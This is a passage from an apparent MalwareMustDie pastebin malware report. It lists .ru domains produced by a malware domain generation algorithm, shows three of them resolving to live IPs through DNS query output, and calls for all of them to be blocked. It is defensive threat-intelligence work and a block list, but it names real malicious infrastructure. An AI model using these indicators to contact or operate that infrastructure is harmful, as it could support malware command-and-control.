  363.  4 | vmibswhnpqhqwyih.ru  |  Wed Sep 04 2013 23:14:46 GMT+0900
  364.  5 | iblpdiqdmmsbnuxb.ru  |  Thu Sep 05 2013 23:14:46 GMT+0900
  365.  6 | ummxjwieppswcnrg.ru  |  Fri Sep 06 2013 23:14:46 GMT+0900
  366.  7 | haqmuqqukywrcxfa.ru  |  Sat Sep 07 2013 23:14:46 GMT+0900
  367.  8 | tmrtbcienxrbnsjc.ru  |  Sun Sep 08 2013 23:14:46 GMT+0900
  368.  9 | fzsirujgdbvabrjm.ru  |  Mon Sep 09 2013 23:14:46 GMT+0900
  369. 10 | rlvqmipovrqbmvqd.ru  |  Tue Sep 10 2013 23:14:46 GMT+0900
  370. 11 | eyxejlabqaytqmjx.ru  |  Wed Sep 11 2013 23:14:46 GMT+0900
  371. 12 | qlbpfyrupyadvjsl.ru  |  Thu Sep 12 2013 23:14:46 GMT+0900
  372. 13 | dydderasilekaegh.ru  |  Fri Sep 13 2013 23:14:46 GMT+0900
  373. 14 | pkglwwwmjxokzzfq.ru  |  Sat Sep 14 2013 23:14:46 GMT+0900
  374. 15 | bxhzugppnulxghvm.ru  |  Sun Sep 15 2013 23:14:46 GMT+0900
  375. 16 | nkkijjyioljbfysn.ru  |  Mon Sep 16 2013 23:14:46 GMT+0900
  376. 17 | axmvnmubgwlmqfrp.ru  |  Tue Sep 17 2013 23:14:46 GMT+0900
  377. 18 | mjpflkwqskuqbjnk.ru  |  Wed Sep 18 2013 23:14:46 GMT+0900
  378. 19 | yvqnltydqtpresfu.ru  |  Thu Sep 19 2013 23:14:46 GMT+0900
  379. 20 | ljubdldgqwbarplc.ru  |  Fri Sep 20 2013 23:14:46 GMT+0900
  380. 21 | wuvjdexaqtmqkvgk.ru  |  Sat Sep 21 2013 23:14:46 GMT+0900
  381. 22 | jiyxdlvawkranmin.ru  |  Sun Sep 22 2013 23:14:46 GMT+0900
  382. 23 | vuaivypissryzhij.ru  |  Mon Sep 23 2013 23:14:46 GMT+0900
  383. 24 | iiewprjomieydnix.ru  |  Tue Sep 24 2013 23:14:46 GMT+0900
  384. 25 | utfenjxpvwtroioi.ru  |  Wed Sep 25 2013 23:14:46 GMT+0900
  385. 26 | hhishrpjdixwtctz.ru  |  Thu Sep 26 2013 23:14:46 GMT+0900
  386. 27 | stkbtccbckhdkbii.ru  |  Fri Sep 27 2013 23:14:46 GMT+0900
  387. 28 | fhnpjsnknkuvhazm.ru  |  Sat Sep 28 2013 23:14:46 GMT+0900
  388. 29 | rsoxjlibxohdcyov.ru  |  Sun Sep 29 2013 23:14:46 GMT+0900
  389. 30 | ehsmldxnregnruez.ru  |  Mon Sep 30 2013 23:14:46 GMT+0900
  390. 31 | oxkjnvhjnvnegtyb.ru  |  Tue Oct 01 2013 23:14:46 GMT+0900
  391. 32 | ruuwvqkxejhklhjy.ru  |  Fri Nov 01 2013 23:14:46 GMT+0900
  392.  1 | oxkjnvhjnvnegtyb.ru  |  Tue Oct 01 2013 23:14:46 GMT+0900
  393.  2 | bloxgsfzinxmdspt.ru  |  Wed Oct 02 2013 23:14:46 GMT+0900
  394.  3 | mxpgggggukxqteoy.ru  |  Thu Oct 03 2013 23:14:46 GMT+0900
  395.  4 | yjsovtnpgbwqcbbd.ru  |  Fri Oct 04 2013 23:14:46 GMT+0900
  396.  5 | lwtcxuzbdrsnpqfb.ru  |  Sat Oct 05 2013 23:14:46 GMT+0900
  397.  6 | xiwlnutkxsqxwjge.ru  |  Sun Oct 06 2013 23:14:46 GMT+0900
  398.  7 | kwyyhhqtwxupnhyu.ru  |  Mon Oct 07 2013 23:14:46 GMT+0900
  399.  8 | wicjgufeimlbmcus.ru  |  Tue Oct 08 2013 23:14:46 GMT+0900
  400.  9 | ivewawjppavmkhwx.ru  |  Wed Oct 09 2013 23:14:46 GMT+0900
  401. 10 | uihgxtcniyolbobp.ru  |  Thu Oct 10 2013 23:14:46 GMT+0900
  402. 11 | hvitmnanuzbabudp.ru  |  Fri Oct 11 2013 23:14:46 GMT+0900
  403. 12 | thldkvcgbkzcbfxw.ru  |  Sat Oct 12 2013 23:14:46 GMT+0900
  404. 13 | gunqeyhnrhskxjdr.ru  |  Sun Oct 13 2013 23:14:46 GMT+0900
  405. 14 | shqyztdrsofsjnib.ru  |  Mon Oct 14 2013 23:14:46 GMT+0900
  406. 15 | eusngyfurlziprua.ru  |  Tue Oct 15 2013 23:14:46 GMT+0900
  407. 16 | qgvvruoklhrhpqxk.ru  |  Wed Oct 16 2013 23:14:46 GMT+0900
  408. 17 | dtwjizdvcjzbxibd.ru  |  Thu Oct 17 2013 23:14:46 GMT+0900
  409. 18 | pgatedpjzstshdzi.ru  |  Fri Oct 18 2013 23:14:46 GMT+0900
  410. 19 | ctcibqfekydbrgcx.ru  |  Sat Oct 19 2013 23:14:46 GMT+0900
  411. 20 | nffqvldfiiducjnt.ru  |  Sun Oct 20 2013 23:14:46 GMT+0900
  412. 21 | atgeuubffjklsyii.ru  |  Mon Oct 21 2013 23:14:46 GMT+0900
  413. 22 | mfjnxtnwsclubgkd.ru  |  Tue Oct 22 2013 23:14:46 GMT+0900
  414. 23 | yqlvxvvkgecvvods.ru  |  Wed Oct 23 2013 23:14:46 GMT+0900
  415. 24 | leojpnzvpegbyeoi.ru  |  Thu Oct 24 2013 23:14:46 GMT+0900
  416. 25 | xqprqgthoagudyqd.ru  |  Fri Oct 25 2013 23:14:46 GMT+0900
  417. 26 | jetgmpbmeeihglhv.ru  |  Sat Oct 26 2013 23:14:46 GMT+0900
  418. 27 | vpuoiwoulyhquhff.ru  |  Sun Oct 27 2013 23:14:46 GMT+0900
  419. 28 | iexdeqiyhfwopmpx.ru  |  Mon Oct 28 2013 23:14:46 GMT+0900
  420. 29 | upylthkllwdcnryx.ru  |  Tue Oct 29 2013 23:14:46 GMT+0900
  421. 30 | hddbgopfnerrquln.ru  |  Wed Oct 30 2013 23:14:46 GMT+0900
  422. 31 | toejmeliyxkiwtcl.ru  |  Thu Oct 31 2013 23:14:46 GMT+0900
  423. 32 | ruuwvqkxejhklhjy.ru  |  Fri Nov 01 2013 23:14:46 GMT+0900
  424.  1 | ruuwvqkxejhklhjy.ru  |  Fri Nov 01 2013 23:14:46 GMT+0900
  425.  2 | eiylikrmqndowfpg.ru  |  Sat Nov 02 2013 23:14:46 GMT+0900
  426.  3 | ptavjirkbdsszppw.ru  |  Sun Nov 03 2013 23:14:46 GMT+0900
  427.  4 | chejtfoppvupcbhb.ru  |  Mon Nov 04 2013 23:14:46 GMT+0900
  428.  5 | otfrbymbgbedozxa.ru  |  Tue Nov 05 2013 23:14:46 GMT+0900
  429.  6 | bhigmqckbqhleqlo.ru  |  Wed Nov 06 2013 23:14:46 GMT+0900
  430.  7 | nsjosicxuhpidhlp.ru  |  Thu Nov 07 2013 23:14:46 GMT+0900
  431.  8 | yemwipgbsfdgxtwi.ru  |  Fri Nov 08 2013 23:14:46 GMT+0900
  432.  9 | lsokebdprtyhsbso.ru  |  Sat Nov 09 2013 23:14:46 GMT+0900
  433. 10 | xertaijuellzduaa.ru  |  Sun Nov 10 2013 23:14:46 GMT+0900
  434. 11 | krthwjspcpcdpxec.ru  |  Mon Nov 11 2013 23:14:46 GMT+0900
  435. 12 | wewpsgubuacxxkyj.ru  |  Tue Nov 12 2013 23:14:46 GMT+0900
  436. 13 | jrxeivysebbxnnty.ru  |  Wed Nov 13 2013 23:14:46 GMT+0900
  437. 14 | udbofptfthduxtto.ru  |  Thu Nov 14 2013 23:14:46 GMT+0900
  438. 15 | hqdcbscxwipgaobv.ru  |  Fri Nov 15 2013 23:14:46 GMT+0900
  439. 16 | tdglwoshlnadoxsd.ru  |  Sat Nov 16 2013 23:14:46 GMT+0900
  440. 17 | gqhybmnnxsndsdvj.ru  |  Sun Nov 17 2013 23:14:46 GMT+0900
  441. 18 | sckhoyvbrxscgfxt.ru  |  Mon Nov 18 2013 23:14:46 GMT+0900
  442. 19 | fpmusbtknvzptyyp.ru  |  Tue Nov 19 2013 23:14:46 GMT+0900
  443. 20 | qcpebbxufztcjenw.ru  |  Wed Nov 20 2013 23:14:46 GMT+0900
  444. 21 | dprrmhvxeedvldhh.ru  |  Thu Nov 21 2013 23:14:46 GMT+0900
  445. 22 | pbubsisvkxfvlqpr.ru  |  Fri Nov 22 2013 23:14:46 GMT+0900
  446. 23 | cpvogtshwgqsvrmm.ru  |  Sat Nov 23 2013 23:14:46 GMT+0900
  447. 24 | obywijqviuwhbjhf.ru  |  Sun Nov 24 2013 23:14:46 GMT+0900
  448. 25 | bobmzdnfgnramikr.ru  |  Mon Nov 25 2013 23:14:46 GMT+0900
  449. 26 | maevlhrskhtpwduy.ru  |  Tue Nov 26 2013 23:14:46 GMT+0900
  450. 27 | ymfemzowodecdxjg.ru  |  Wed Nov 27 2013 23:14:46 GMT+0900
  451. 28 | lajrwyxwftgqftrf.ru  |  Thu Nov 28 2013 23:14:46 GMT+0900
  452. 29 | xlkaykasqozhuppr.ru  |  Fri Nov 29 2013 23:14:46 GMT+0900
  453. 30 | kzlojwjoumbmajnc.ru  |  Sat Nov 30 2013 23:14:46 GMT+0900
  454. 31 | uqgmbvszrjmnxbhp.ru  |  Sun Dec 01 2013 23:14:46 GMT+0900
  455. 32 | ndvgpxdugiihprox.ru  |  Wed Jan 01 2014 23:14:46 GMT+0900
  456.  
  457.  
  458. // Grep only those ".ru" domain names, i.e. :
  459.  
  460. ndvgpxdugiihprox.ru
  461. yowoyitslewxwwrl.ru
  462. lcbfcpzjpyvoheuj.ru
  463. xocnrffrwjwryily.ru
  464. kcgbtgkouhxwzqce.ru
  465. wnhjjplenuudhoap.ru
  466. jbkxeiekxelpidpi.ru
  467. unlgvgkytqsxgyeg.ru
  468. hbpuvpfmvvkeindg.ru
  469.       :
  470.  
  471. save it into the text file..
  472.  
  473. // and runs it wit the our script at MalwareMustDie Google Project↓
  474. // http://code.google.com/p/malwaremustdie/downloads/detail?name=multidomainipchecker.sh&can=2&q=
  475. // with feeding your saved txt file contains the domains burped by the script above...
  476.  
  477. // And you'll find the below domains are activated!!
  478. // This is the proof that the PseudoRandom Generator is
  479. // activated ! Again. Please block the all domains reported in this report!
  480.  
  481. qlbpfyrupyadvjsl.ru,54.246.111.56,
  482. bhigmqckbqhleqlo.ru,91.233.244.102,
  483. nsjosicxuhpidhlp.ru,91.233.244.102,
  484.  
  485.  
  486. // Further PoC of activated domains:
  487.  
  488. =======================
  489. ;qlbpfyrupyadvjsl.ru.           IN      ANY
  490. =======================
  491.  
  492. ;; ANSWER SECTION:
  493. qlbpfyrupyadvjsl.ru.    3600    IN      A       54.246.111.56
  494. qlbpfyrupyadvjsl.ru.    3600    IN      SOA     ns1.plusregister.com. donncha.totalimpact.ie. 2012122403 7200 7200 172800 38400
  495. qlbpfyrupyadvjsl.ru.    3599    IN      NS      ns2.plusregister.com.
  496. qlbpfyrupyadvjsl.ru.    3599    IN      NS      ns4.plusregister.com.
  497. qlbpfyrupyadvjsl.ru.    3599    IN      NS      ns3.plusregister.com.
  498. qlbpfyrupyadvjsl.ru.    3599    IN      NS      ns1.plusregister.com.
  499.  
  500. qlbpfyrupyadvjsl.ru.    3599    IN      NS      ns1.plusregister.com.
  501. qlbpfyrupyadvjsl.ru.    3599    IN      NS      ns2.plusregister.com.
  502. qlbpfyrupyadvjsl.ru.    3599    IN      NS      ns3.plusregister.com.
  503. qlbpfyrupyadvjsl.ru.    3599    IN      NS      ns4.plusregister.com.
  504.  
  505. ;; ADDITIONAL SECTION:
  506. ns1.plusregister.com.   3600    IN      A       50.23.136.230
  507. ns1.plusregister.com.   3600    IN      A       50.23.136.173
  508. ns1.plusregister.com.   3600    IN      A       50.23.136.174
  509. ns1.plusregister.com.   3600    IN      A       50.23.136.229
  510. ns2.plusregister.com.   3599    IN      A       50.23.75.45
  511. ns2.plusregister.com.   3599    IN      A       50.23.75.96
  512. ns2.plusregister.com.   3599    IN      A       50.23.75.97
  513. ns2.plusregister.com.   3599    IN      A       50.23.75.44
  514. ns3.plusregister.com.   3600    IN      A       67.15.47.188
  515. ns3.plusregister.com.   3600    IN      A       67.15.253.219
  516. ns4.plusregister.com.   3600    IN      A       184.173.150.58
  517. ns4.plusregister.com.   3600    IN      A       184.173.149.221
  518. ns4.plusregister.com.   3600    IN      A       184.173.149.222
  519. ns4.plusregister.com.   3600    IN      A       184.173.150.57
  520.  
  521.  
  522. =======================
  523. ;bhigmqckbqhleqlo.ru.           IN      ANY
  524. =======================
  525.  
  526. ;; ANSWER SECTION:
  527. bhigmqckbqhleqlo.ru.    3600    IN      A       91.233.244.102
  528. bhigmqckbqhleqlo.ru.    3600    IN      SOA     dns1.webdrive.ru. admin.webdrive.ru. 1354094642 10800 3600 604800 3600
  529. bhigmqckbqhleqlo.ru.    3600    IN      NS      dns1.webdrive.ru.
  530. bhigmqckbqhleqlo.ru.    3600    IN      NS      dns2.webdrive.ru.
  531.  
  532. ;; AUTHORITY SECTION:
  533. bhigmqckbqhleqlo.ru.    3600    IN      NS      dns2.webdrive.ru.
  534. bhigmqckbqhleqlo.ru.    3600    IN      NS      dns1.webdrive.ru.
  535.  
  536. ;; ADDITIONAL SECTION:
  537. dns1.webdrive.ru.       2264    IN      A       176.74.216.129
  538. dns2.webdrive.ru.       2264    IN      A       159.253.133.210
  539.  
  540. =======================
  541. ;nsjosicxuhpidhlp.ru.           IN      ANY
  542. =======================
  543.  
  544. ;; ANSWER SECTION:
  545. nsjosicxuhpidhlp.ru.    3600    IN      SOA     dns1.webdrive.ru. admin.webdrive.ru. 1354095124 10800 3600 604800 3600
  546. nsjosicxuhpidhlp.ru.    3600    IN      A       91.233.244.102
  547. nsjosicxuhpidhlp.ru.    3599    IN      NS      dns2.webdrive.ru.
  548. nsjosicxuhpidhlp.ru.    3599    IN      NS      dns1.webdrive.ru.
  549.  
  550. ;; AUTHORITY SECTION:
  551. nsjosicxuhpidhlp.ru.    3599    IN      NS      dns2.webdrive.ru.
  552. nsjosicxuhpidhlp.ru.    3599    IN      NS      dns1.webdrive.ru.
  553.  
  554. ;; ADDITIONAL SECTION:
  555. dns1.webdrive.ru.       3448    IN      A       176.74.216.129
  556. dns2.webdrive.ru.       3447    IN      A       159.253.133.210
  557.  
  558. ----
  559. #MalwareMustDie! @unixfreaxjp /malware]$ date
  560. Mon Jan  7 23:49:05 JST 2013
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top